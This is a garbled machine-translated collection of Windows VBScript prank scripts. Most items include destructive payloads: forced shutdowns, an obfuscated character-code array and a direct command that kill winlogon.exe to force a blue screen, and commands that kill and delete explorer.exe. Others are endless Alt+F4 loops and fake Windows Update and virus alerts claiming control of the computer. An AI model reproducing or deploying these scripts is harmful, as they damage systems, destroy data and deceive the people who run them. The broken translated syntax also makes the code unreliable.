最初の
MsgBoxには、（種類の願いに応じて、テキストの数）+ CHR（13）+「または他のコンピュータの爆発、」1、「緊急警報システム」「私のお父さんを呼ぶさあ」
第2
集合sの=ののCreateObject（ "sapi.spvoice"）は、i = 0ないs.speak II = I + 1つのループ
第三の
MsgBoxにあれば（「申し訳ありませんが、あなたの灌漑があまりにもコンピュータを再起動する必要があります。」＆CHR（10）＆「あなたはそれを再起動したいあなたは確か？」、vbOKCancel + vbInformation、「コンピュータを再起動」）= vbCancelはその後のMsgBox「システムはすぐにワウに再起動します〜_ ^ ",," あなた愚か者!! "に設定objShell =のCreateObject（" Wscript.Shell "）objShell.Run" シャットダウン「は5 -t -s ,,真のエンド場合
第四の
23617,34,44,118,98,89,101,115、 - 「これは非常に強力なVBS、青色STRS =配列（13,105,102,32,77,115,103,66,111,120,40,34、-15133、-13625、-10515、-12873、-15632、あります78,111,44,34、-12363、-12877、-13087、 - 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32、 32,32,32,109,115,103、98,111,120,32,34、-15133,89、-13899、-20026、 - 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32、 34、-17479、-19781、-19504、 - 14129,33,33,32、-10249、-12630、-19507、-18525、-23636、-16202、-14655、-11589、-12350、-23636、 -15133、-15635、--13 873、-17 966、-15925,35、-23644、-23647,64,35、-23644,37,64、-24147、-24147,35、-24 147、 - 24147,63、 34,44,54,52,44,34、-11825、-10536、-16721、 - 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116、 32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99、114105112116、46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115、116,97,114,116,32,47,109,105,110,32,110,116,115,100,32、 45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101、110,100,32,105,102,13,10,13,10 、13,10）は、i = UBound関数に1（STRS）ランナー=ランナー＆CHR（STRS（I））は、次の実行のためのランナー10）i = 1からUBound関数（STRS）ランナー=ランナー＆CHR（STRS（I））の横にランナーを実行するための10）i = 1からUBound関数（STRS）ランナー=ランナー＆CHR（STRS（I））の横にランナーを実行するための
第五の
MsgBox場合は、（「あなたは、それは豚ですか？」、vbYesNo、「プロンプト」）= vbyesが、その後MSGBOX「あなたのSBは、ああ！」他のMsgBox「は、罰としてブルースクリーンに!!認識しない、あなたはすぐに＃¥を切っん！@＃ ¥％@ ......＃......？ "64、" 重大な警告!!!!!!!!! "を設定し、WS =のCreateObject（" Wscript.Shell "）wscript.sleep 1200 ws.run" CMD /スタート/ cは分NTSD -cq -pn winlogon.exeの1> NUL 2> NUL」、vbhide END IF
第六の
設定WS =のCreateObject（ "Wscript.Shell"）ws.run "にcmd.exe / CコールCALC.EXE"、0
セブンス
セットWS =のCreateObject（ "Wscript.Shell"）ws.run "CMD.EXE / C taskkill / F / IMのexplorer.exe"、0 wscript.sleep 900 ws.run「cmd.exeの/ Cコピーの％windir％以下の\エクスプローラ.EXEを％windir％\ explorer.Data」wscript.sleep 1200 ws.run "cmd.exeの/ Cデル/ Q / F％WINDIR％以下の\のexplorer.exeの"
エイス
WS = WScript.CreateObject（「WScript.Shell」）ws.popupを設定10を「みなさん、こんにちは、私はちょうど社会的な気候を変更し、若い含蓄を改善し、フィルムの市場を刺激するために、若い女の子の何千もを祝った」、「デビュー」見つかった、64 ws.popup「ヒスイ木、ハンサム......」うなり声のうなり声... ...「ごめんなさい、私は内蔵フラッシュへの不安だよ、さようなら！」、15、「お別れ」、64 wscript.sleep 100000 ws.popup「 Windowsの重要な更新プログラムがインストールされていない、システムが自動的に「10 ws.popup」Windowsの更新プログラムをダウンロードし、アップデートをダウンロードし、インストールします......「12 wscript.sleep 10000 ws.popup」Windowsの更新プログラムは、「......アップデートがインストールされている、ダウンロードされています12 wscript.sleep 3000のMsgBox「WINDOWSシステムは、未知のソフトウェアアップデートを検出しcomcontroler.exe運び、強制的にコンピュータに組み込まれた」「それがスキャンされているかどうか？」、4132をMsgBoxに「ソフトウェア名：comcontroler.exe」＆のvbCrLf＆ "" ＆のvbCrLf＆ "サイズ：1.21メガバイト" ＆のvbCrLf＆ "" ＆のvbCrLf＆ "出版社：永遠のファンタジーディアン（403746401）" ＆のvbCrLf＆ "" ＆のvbCrLf＆ "セキュリティ状況：ウイルス"、vbinformationのMsgBoxに "存在不安" comcontroler.exe、4132、 「彼らのインストールを防止するかどうか。」MsgBoxに " 停止はファイアウォールが正常にインストール「wscript.sleep 15000 ws.popup」Windowsアップデートになって確認し、失敗しました！「Vbinfmationは、20のMsgBox」あなたのコンピュータが危険にさらされている可能性があり、盗難やデータ「vbinformationのws.popupを」失われたQQしないように、できるだけ早くあなたのQQのパスワードやその他の機密情報を変更してくださいハハ、私はあなたのコンピュータのコントロールを持っています！「12、」はじめまして「64 ws.popupは」信じられないのですか？私が見て、あなたのための私のQQスペースを開くには、コンピュータを使用「10 ws.run」 http://user.qzone.qq.com/403746401/infocenter「メッセージボックス」WARNING：できるだけ早く包括的なアンチウイルスを行うためにシステムを使用するアンチウイルスソフトウェアをインストールし、お使いのコンピュータを保護するために「vbinformationのws.popup」私は中国のShaiyaを開きます。公式サイト"10 ws.run" http://shaiya.gtgame.com.cn/index.htm「Ws.popupは」今それを信じますか？私は、あなたのメモ帳を開いて、あなたに英語で手紙を書く「20 ws.popup」メモ帳が開いて最大化され、その後、あなたが移動しない、ターゲットにしないでください、私は手紙の忍耐を参照してください、他のウィンドウに転送します仕上げ。そうでなければ、私は、システムによって引き起こされる混乱の責任ではありませんよ！"Ws.run" メモ帳 "3：wscript.sleep 2000 =スプリット（verybat" 親愛なる友人、〜、素敵な、、、あなたを満たすために、私は、午前、そう、申し訳ありませんが、その、私、コントロールさ、お使いのコンピュータ、なし、あなた、許可、〜、してください、言い訳、私、私、欲しい、と言う、に、あなた、今日、〜、私の友人に、そう、でも、私たち、顔、困難を通して、の今日、そして明日、〜、まだ、夢は、夢は、深く、根ざし、私たちの共通の、夢の中で、〜、たぶん、それは、私たちは、やることを、本当されています、我々は、それを失うまでではない、知っている、我々は、か、何を持っている、〜、しかし、それ、私たちは、ない、知っている、何を、私たちは、されていないこと、また、事実であります、それは、到着するまで、行方不明、.see、あなたは、後で、〜、で、最高の）」、 ""、〜、あなた、〜、lhjたいです
第九の
CPU温度、システムが重大なエラーを経験し、高すぎます！CPUを冷却できるようにするすべてのアプリケーションを終了してください！"16 + 4096、" システムが要求されます：「wscript.sleep 1000 * 45ループ
第十の
セットSH = wscript.createobject（ "wscript.shell"）sh.run "シャットダウンは332 -t -s"
第十一の
暗くWSHshellセットWSHshell = wscript.createobject（ "wscript.shell"）D = 0〜40 WSHshell.SendKeys "％{F4}" の次
第十二の
A、B、Cを暗く、集合SのFS =用のCreateObject（ "Scripting.FileSystemObjectオブジェクト"）名前= WScript.ScriptNameフルネーム= WScript.ScriptFullNameパス=置き換え（フルネーム、名前、 ""）は、A = InputBox関数（「ダイアログボックスのあなたの本当の名前を記入！「＆のvbCrLf＆」「＆のvbCrLf＆」後であなたに大きな驚きを与えるだろう!!「とのvbCrLf＆」「＆のvbCrLf＆」あなたはそれを試してみることができると信じていない!!!「＆のvbCrLf＆」「＆のvbCrLf＆」最高の中国名・・ "" 小川プロンプト： "場合は、 "=）" あなたの名前を入力してください" "その後WScript.Quit END IFのMyVar = MsgBoxに（" あなたの名前： "＆A＆"」、vbYesNo + vbExclamation、 「小川ヒント：」）のMyVar = vbYesその後のElseIfのMyVar = vbNoた場合は、次に（= InputBox関数「ダイアログボックスにあなたの本当の名前を入力してください！」とのvbCrLf＆「」＆のvbCrLf＆「あなたに大きな驚きを後で与えるだろう！ "＆のvbCrLf＆" "＆のvbCrLf＆" あなたはそれを試してみることができると信じていない!!! "＆のvbCrLf＆"「＆vbCrLf＆ "最高の中国名???"、 "小川プロンプト："、 "あなたの名前を入力してください"）= "もし" END IF次にWScript.Quitエンドwscript.sleep 1000B = InputBox関数の場合（ " ！親愛なる "＆A＆" こんにちは "＆のvbCrLf＆" "＆のvbCrLf＆" あなたの趣味（ちょうどああに記入！）を記入してください。 "" 小川プロンプト： "Bの場合、" あなたの趣味を入力してください「） =「」その後WScript.Quit END IF wscript.sleepの1000C = InputBox関数（「これまでのところ、コンピュータが自動的に次のダイアログで、地球上で生き残るために持っているどのくらいの時間を計算します！あなたの誕生[日付]を入力してください」 ＆のvbCrLf＆ "" ＆のvbCrLf＆ "私の次の列が異なる変更" ＆のvbCrLf＆ "" ＆chrです（10）＆ "形式：1987年6月2日" ができて、 "小川プロンプト："、 "1987年6月2日"）、Cの場合= "" そしてWScript.Quit END IF wscript.sleepの1000age = ABS（DATEDIFF（ "" 今、日付、C）wscript.sleep 1電流=（）H = DATEPART D）（ "H"、現在の）N = DATEPART（ "n" は、現在）のWScript。睡眠1000秒=メッセージボックス（CHR（10）＆ "恭喜 "A＆＆" 已在地球上存活了：" ＆年齢＆ "天 "＆H＆" 小时 "＆N＆" 分钟....."、vbOKCancel + 63、 "小溪提示： "）、S = 2が、その後終了している場合場合は、SETオート= fs.CreateTextFile（" C：\ DocumentsとSettings \すべてのユーザー\桌面\ "＆A＆" 的秘密.VBS」、true）をauto.WriteLine "MSGBOX" ＆ "" "" ＆ "我的名字叫：" ＆A＆」 "＆" "" "＆" ＆のvbCrLf＆ "＆" "" "＆" "＆" "" "＆" ＆のvbCrLf＆ "＆" "" "＆" 我的爱好是： "＆B＆" "＆" "" "＆" ＆のvbCrLf＆ "＆" "" "＆" "＆" "" "＆" ＆のvbCrLf＆」＆ "" "" ＆ "" ＆A＆ "生きてきました：" ＆年齢＆ "日" ＆H＆ "H" ＆N＆ "分" ＆ "" "" ＆ "64、" ＆ "" "" ＆ "" ＆A＆「自己説明： "！さようなら" "" "auto.WriteLine" のMsgBox "＆" "" "＆" 親愛なる "＆A＆＆" "" "＆"、48、 "＆" "" "＆" 小川ヒント： " ＆ "" "" ＆ "" オート= fs.CreateTextFileを設定します（ "C：\ DocumentsとSettings \すべてのユーザー\デスクトップ\願い" ＆A＆ "ハッピーバースデー.TXT"、true）をauto.WriteLine "私は小川を望みます：" ＆A＆「誕生日おめでとう、すべての願いが来て、真の大胆かつ大胆な試み、早期見習い.......」auto.WriteLineは「あなたが地球上に住んでいた：」＆年齢＆「日」＆H＆「時間」＆N＆「議事録は」auto.WriteLine「時間があなたの生年月日に基づいてカウントされ、非常に正確ではないかもしれないが、ちょうどすぐに時間の目的をオフに知ってほしい、時間を大切にしてください!!!。」
第十三